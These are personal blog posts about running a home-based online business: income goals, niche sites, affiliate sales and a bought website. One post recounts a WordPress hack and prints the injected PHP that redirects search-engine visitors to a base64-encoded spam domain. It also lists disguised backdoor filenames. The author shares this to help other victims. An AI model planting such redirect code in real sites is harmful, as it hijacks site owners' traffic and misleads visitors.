I was reading my review of 2008 this morning and had a few thoughts. I started out 2009 all gung ho and really didn’t end up doing as much as I wanted to. 2008 was really the year I found out what worked and where I needed to go but all in all 2009 was not as big of a growth year for my business as it could have been.

My income went up by 30% yes but not because I did very much that was new… older projects and web sites just had time to marinate and get better with age. I did not not add any new info products to my line up.. I just have the three ebooks and they continue to amaze me with steady sales. I still giggle when I think how I hoped the sales would at LEAST be able to pay for the shopping cart I use to sell them. Those books were one of the single best things I ever did business-wise.

I guess a big part of why I didn’t really reach all of my goals would be because we moved to a new town. Our expenses doubled and it made us more reliant on my income for mundane things like bills. Instead of spending time dabbling in new income streams I had to stick with what I knew would pay the rent. I also moved away from my extended family and starting spending nearly every weekend traveling back to see them.. that took 3 days off my normal work week… since I usually do work (a least a little) every day.

But I did accomplish some new things. I added a new niche site that did really well. During the peak for that niche I earned $450 a month from that one site. In off peak months it makes anywhere from $20-$60 so I am really happy with it and have already added a similar site that was earning money from the first week.

I also revamped my Squidoo efforts. At one point early in the year I got discouraged with my Squidoo earnings and I sold off half of my lenses. Then a few months later I got an invite to an exclusive group within Squidoo called Rocket Moms. It was basically a group project to give Squid moms a special place to house their lenses and encourage them to make more. I made some new lenses during the Rocket Moms challenges and they started to do pretty good. I decided to try and become a Giant Squid… which meant I had to have at least 50 quality lenses. I bought about 10 lenses and reworked them and I made the rest.. about 30 in all! Anyway I am a Giant Squid now and I am working my way to the Giant 100 club.. I have about 70ish lenses right now. I am making MUCH better money than before and my lenses direct traffic to my other blogs. I am a happy Squid.

Now at about 6 months or so into our new house I am finally getting down to business with new growth projects… better late than never right? Last year I bought a site for $500 and pretty much just sat on it. I re-did the design and added articles sporadically but that’s about it. Even with that teeny bit of attention though it has earned a modest amount of money via affiliate sales and the list attached to it is over 2000 strong. This past month I converted it to a blog and I hope to dedicate as much time to it as I have my other blog. It has the potential to be just as big, if not bigger… I feel it in my bones.

I also created a couple new blogs in an entertainment niche that I am passionate about. I finally made that leap after I started to see how well my Squidoo lenses on those topics were doing. Squidoo is an excellent place for market research too!

My love of seasonal affiliate sales has only grown as well. In addition to having another great xmas season, I also had a great Halloween, and a great back to school season.

Going into 2009 I know that I need to take some risks and work a whole lot harder if I want to double my income again. I plan to create a new ebook and have the topic picked and the cover designed… I just need to write the book! I am going to really focus on blogging for 6 blogs… 3 in the natural niche I love and 3 in the entertainment niche I love. I want to add a few more static product sites since those have performed really well for me. I have big goals again this year but let’s see if I can generate the steam to see them through.

Kelly at Sparkplugging has asked people to participate in a meme and “Spark an Idea About Something You Want So Bad You Can Taste It”.

I have something I want so bad I can taste it…

My goal is to be able to travel with my folks when they retire in a couple years. They want the kids and I to spend summers with them in various parts of the country and world and I want to be able to do that with them. I need to be making enough in income and have enough saved to pay for extended travel for months at a time basically. I also want to be able to take a couple 4-7 day cruises each year. Add heck I have to be able to spend time my brother and nephews who will be moving to Indonesia in a couple months. AND I have to be able to afford to offset my travel (carbon) emissions in some way so that is an extra expense.

When I look at what I REALLY want… it is to travel and I used to be quite the jet setter until my second child was born. Always has been and always will be what I want most in life… it is about time I start making that happen again.

My goals this year are to get a rewards credit card and start paying all my bills with it so I get airline miles BUT I will pay off the card with my debit card immediately so I don’t ever carry a balance. I will also be opening an ING account so I can start adding to a travel fund. I plan to create more niche sites since I am doing so well with the ones I have now… passive income rocks. I also plan to add two more info products to my line up since those too perform fantastically for me. I would love to find a way to make money off my photography too…

I figure I need to be making about $1000-1500 more a month to be able to do this AND keep paying my bills at home. This amount is VERY achievable so I need to get on it….

Google was my main source of income for a long time and I still make good money every month from them but it always seemed too “up in the air” to me and I did not feel comfy having that be the check that paid all the bills so to speak. I didn’t want my Google earnings to go down I just wanted my other income to go up and top Google…and it did. But I also did take a hit with Google as I sold one huge Adsense site that was earning several hundred a month. I ended up buying a car with the money from the sold site so I guess I can hardly complain about the drop in monthly income. Now though I make consistently more than Google from other affiliate sources like Amazon and Shareasale.

I created my first info product and I am still reeling from the success. Seriously I thought I might sell 20 books in the first month and then maybe 1-2 books each month thereafter. That was my prediction. I am averaging around 25-30 sales every month with some of these recent months being even better earners than the first. I worked for about 4 days straight to get the book done and the site up. That one decision and popularity of the niche I chose has resulted in an extra $300 (est.) in my pocket every month. How cool is that? Imagine if I had a dozen products like this??? Ooooh yeah…2009.

My third goal was to tap into new affiliate streams and programs. I did that as well. I have started getting checks from Commission Junction, Vita-Mix, and a few others.

My fourth goal to double my income has been met as well. At the end of this year I realized that I am now making more annually than I did when I was in advertising and marketing. I also have been making more than my hubby. For 2009 I am hoping to double it again…might as well dream big!

A new goal would be to step up my activity in the celebrity niche. When I started a couple actor fan sites this year just for fun I never imagined how well they would do. I now have 4 of them and I would not mind adding to that number.

2009 will be my lucky year.

I am super happy with the way it turned out especially because I knew I wanted a magazine style WordPress layout and all the best ones were premium themes you have to pay for. I was just about to drop $150 on a developers license for one such theme when my stubbornness kicked in and I decided to look one last time for a freebie. Woot! The theme I ended up using is called Visionary. I love it and it was easy to customize and the layout is perfect. I was afraid to pay for a theme and then have it be so complicated I would spend a week figuring it out…I hate themes like that.

I think I had this blog up and ready from domain purchase to completely finished with 4 posts, 6 pages, 1 Amazon astore, and 2 galleries in about 3 hours.

Maintenance entails all the stuff that keeps your business humming along as is…customer support, answering emails, paying affiliates, etc. It probably only takes me 5 hours a week to keep things running on maintenance, if that. But in production mode I am BUSY…sometimes like 30-40 hours a week busy. Production mode is what allows me to grow my business. Some of my production mode activities include writing and posting content for blogs (I have over a dozen), static web sites, article directories, info products, special reports, autoresponders (I have over a dozen),  and for sale. I also scour my web sites and blogs for new ways to monetize the content. I spend a lot of time testing and tracking to see what works and what doesn’t and I tweak. I also look for ways to automate processes so my maintenance time is low. I brainstorm new ideas and flesh them out to gauge profitability.

I spend time engaging in various PR or publicity activities but admittedly I am very picky about my opportunities. I have turned down prime time TVs shows, on air broadcast news interviews, and photo shoots because I prefer not to do that. I didn’t start an online biz to be some sort of rock star, I started an online business to make enough money so that eventually my whole family could have financial freedom. My ultimate goal is to make enough money passively to support us spending 6 months a year out of the country…like a beachside rental in Costa Rica.

So for right now that means I spend some hefty hours in production mode. But it is worth it. Last week I bought my husband a motorcycle with cash. He gave up his motorcycle when we moved out of state and has missed it ever since. Tomorrow he goes to pick up his new one. It feels good to be able to do that.

Most days I am in production mode because I do want to see my business continue to grow for some time. I think it will be worth it in the long run even if it is hard right now.

First I did a redesign…nothing fancy. I just wanted to give it a “family” feel. Here is the old:

And here is the new:

Looks good eh? I went through it and changed affiliate links and generally did some tweaking. I left Adsense in place but this week I am removing most of it. I would like to highlight the affiliate products I am promoting on each page instead. I also deleted a few of the autoresponder messages and added a half dozen of my own, using recycled content from another site. I really like how responsive this list is! They email me back to let me know what they think and I had some pretty decent Amazon conversions last month. I have already had over 300 new subscribers just since I took the site over.

This site has shown me the importance of fully using autoresponders for online business and list management. I can’t wait to build upon my other ones…which are pitiful in comparision to the volume and content of the tv list.

I might just start buying established sites more often too.

It is actually kind of interesting how I came to own the domain. Several years ago when I owned a cloth diaper company and store there was a really awesome “club” called Goddess of the Garden. Basically WAHMs joined and donated some of their wares every month. The donations were pooled together and offered as prizes to those who purchased a Goddess membership. Their membership which cost $5 a month entitled them to 10% off at all the wahm stores and they were entered to win the prizes. Each time they shopped and use their membership code they were entered again. The membership dues were then taken and used to buy advertising for all the WAHMs in the group.

It was really an awesome program and brought a lot of business my way. I always LOVED the name Goddess of the Garden and I loved the graphics that we had made for it using the advertising money. The woman growing out of the grass just appealed to me. Anyway…long story short the domain holder up and sold the site one day and really made the WAHMs who had helped build it to what it was very angry. The site went to someone who wanted to continue on in the same vein but everyone involved was so upset they walked away and the site just died. The site made a brief transition into a blog/forum…but it didn’t go anywhere so there it sat alone and lonely for a couple years.

When I became interested in raw foods about 6 months or so ago I knew I should start a raw food blog. That niche is exploding right now and will continue to do so. But what should my domain be? I briefly set up a blog on my naturemoms.com domain but I just didn’t “feel” it, ya know? Then I remembered the Goddess of the Garden. Woot! The raw foods diet is often referred to to as the garden diet because it primarily consists of food you pick fresh from a garden. It was PERFECT!

So I contacted the owner and asked if she would sell it to me. The price was pretty steep for a site which had virtually nothing on it but I knew what the graphics had cost to have hand drawn so after one counter offer we had a deal. Now the Goddess is mine and I am having a blast with it so far.

A few days later a fellow blogger emailed me to let me know that his own blog had been hacked and spam was being injected into his blog invisibly. You could even look at the source code and not see a darn thing. He found the links by analyzing his blog with CURL and the links all went to my site…aka buy your viagra here and then a link to my blog…only there were 30+ plus links for all sorts of spammy products and drugs. Of course he went to my blog to see if I was the spammer who hacked his blog and of course found nothing..until he looked at my blog with CURL and saw I was hacked too. He was nice enough to email me and let me know.

I hoped he was wrong but since I didn’t know how to use CURL I couldn’t verify. Then I did two things to test. I went to Google’s Webmaster Tools and looked at the keywords they had indexed for my site and sprinkled throughout were the spammy keywords. Then I searched for “viagra and my URL” and TONS of links had been indexed. I was dangerously close to getting banned by Google for being a spammer and in fact I have met several people during this fiasco that didn’t catch this hack until they did get banned.

Also, via a tip to use CRON from a Mom Masterminds member (LOVE that group) I ran a CURL string:

curl –user-agent Googlebot + URL

This verified in a way easy for me to see, where the links where. I was still shocked when I saw them for the first time though. They all pointed back to my own site. The overall goal of this hack is get you banned from search engines…perhaps so the spammers can rank better for the SERPS you currently hold. They are knocking out the competition. Oh and they added new Adsense info at the bottom of the page, maybe even siphoning my Adsense commissions.

So…..the blogger who emailed me also gave me a link that helped resolve the hack. There is a lot of info there but only some of it applied to my situation. For instance some of these hacks involve code directly implanted into your theme files but my situation was a little different. My hack was disguised as a plugin and not one that you could see in the wordpress dashboard. Sprinkled all throughout my files I found what looked like image files or regular php files:

filenames “*_new.php” , “*_old.php”,. “*.jpgg”, “*_giff”

They were all coded hack files and there was over a dozen of them…back doors to keep open so the spammers could keep accessing my site. They would make a plugin run under the radar that would inject the spam links. I had to check wp_options in my database and see what was listed under active plugins…I found the culprit there, deleted the code and deleted what I thought was all the files. I also deleted all my users and there were a few suspicious ones there and I scrubbed the database. Case closed.

Or so I thought. A couple days ago I checked Webmaster tools again just for the heck of it and guess what…the hack was back. So I just cleaned it up AGAIN…and did an even more thorough search. I only found one file that I think I missed the first time but one is all it takes. Now I have CRON being run to check for spam injection links every hour on the hour and the results are emailed to me. It is a pain but I am not going to let this go unchecked again. Just today I think Google cleared out the last of the badly indexed files although some phantom keywords still show in Webmaster tools…I hope they go away soon.

Soemtimes it is not so fun to be a blogger and Internet Marketer…especially when you are being sabotaged.

Then a blog reader mentioned to me that when she clicked on a link to my blog in the Google reader she would be redirected to a site called anyresults.net. She even researched it a bit and sent me a link to a discussion about this very issue. It is a hack affecting thousands of WordPress blogs. Basically it steals all of your search engine traffic…via AOL, Google, Yahoo, MSN, you name it. If a search result brings up a link to your site the visitor would be redirected to anyresults.net and not your site. I erased my cookies and tried it myself and sure enough I was redirected every time. I could even search for my blog by name and be redirected. By now I was FURIOUS. I lost some major moola this week because some jerk-off stole traffic that should have been mine…Adsense, affiliate income, ad networks…all were suffering.

After I started looking for solutions I also found some people saying that Google ended up banning them for redirecting to a spam site! They got hacked and then slapped…talk about and insult after injury.

To get rid of the hack I tried the “solution” found here. It was useless. Mostly this thread seems full of people who assume you were to stupid to upgrade and that is why you got hacked. I was hacked while running the latest version, 2.5.1, so there goes that theory. I looked in my MySQL database for image being used as a plugin and there wasn’t one. I also deleted this string: rss_f541b3abd05e7962fcab37737f40fad8. It did nothing. I even deactivated all plugins and the problem was still there so clearly it is NOT a plugin issue.

Just like this blogger I did find this code in my wp-blog-header.php file:

 ?php \
$seref=array(“google”,”msn”,”live”,”altavista”,”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=”1″; break; }
if($ser==”1″ && sizeof($_COOKIE)==0){ header(“Location: http://”.base64_decode(“YW55cmVzdWx0cy5uZXQ=”).”/”); exit; }?>

This is NOT supposed to be there. I deleted it but this in itself did not fix the issue. So I copied over all the files in the main WP directory with fresh, clean files and the problem was fixed. I wish I had known about this before I scoured my database and reinstalled a clean version of each plugin. Hope it helps some others affected by this attack.

While I was working this out I also added a blank index file to my plugins folder so people can’t see what plugins I am using and to find back doors. I also deleted all of my users and checked my permission settings. Hopefully my traffic will get back to normal and I can avoid further attacks…what a major pain in the neck.

Now I need to check out all my other blogs.

Some of the reasons I LOVE to work at home:

* I am my own boss. I call the shots and set my own hours. If I want to sleep in, take a nap, do my work at Borders bookstore, or even skip work altogether, I get to make that call. I can also give myself as much personal time as I need and not feel guilty. I also set my own pay rates by creating my own opportunities. There is no glass ceiling to hit in my office.

* I can choose my own priorities. Working is important to me…I enjoy it and it is important to my self worth. The work I have chosen is something that is pleasurable for me and most days I feel guilty even calling what I do “work” because I enjoy it so much. That said though, I do have other priorities and I love that they don’t have to compete for my time and attention. I like to garden, read, travel, work on crafts and sewing projects, and spend time with my family. Working at home allows me to decide which priorities get my time and attention, not an employer. When my kids are sick and they need me I am there. When my hubby needs me to mend a pair of pants I can get right on it. When I want to see a movie in the middle of the day I can go. Most parents have to organize their life and their priorities around their secular work…I don’t.

* I get to raise my kids. I don’t have to be in the often times agonizing position of letting someone else raise my kids because I have to work. I get to be there for them and see all of their accomplishments and spend quality time with them that I will never get back. There won’t be any do-overs so it is important to me that they have the time and attention they need. I can take time off to go shopping, take my daughter to ballet, go to the park or a museum, and even homeschool my kids if need be. I don’t worry about scheduling conflicts, late suppers, or being too stressed to read them their bedtime stories. Being a WAHM allows me to be a very involved, hands-on mom.

* Being a WAHM gives me a great sense of accomplishment. I am a business owner and an entrepreneur. I get to create things every day and relish my success when I get paid darn good money for my hard work. I get to feel elated when I make as much as my work-outside-the-home hubby without the stress, strict hours, and long commute that he and so many others have. There is nothing like using your skills to create and then reaping the rewards. While you do feel this to some extent when you work outside the home…it is not the same. Being a well paid work at home mom is a big confidence booster.

* Having fun is my job too. I have chosen to pursue work that I am passionate about and that involves my family. Part of my job is reviewing cool new products for families, researching and reading about issues I care about, doing special work related projects with my kids, even work related travel every now and again. Our family has had many wonderful adventures in the name of my work and we have tried hundreds of great products.

Yes…I LOVE being a work at home mom!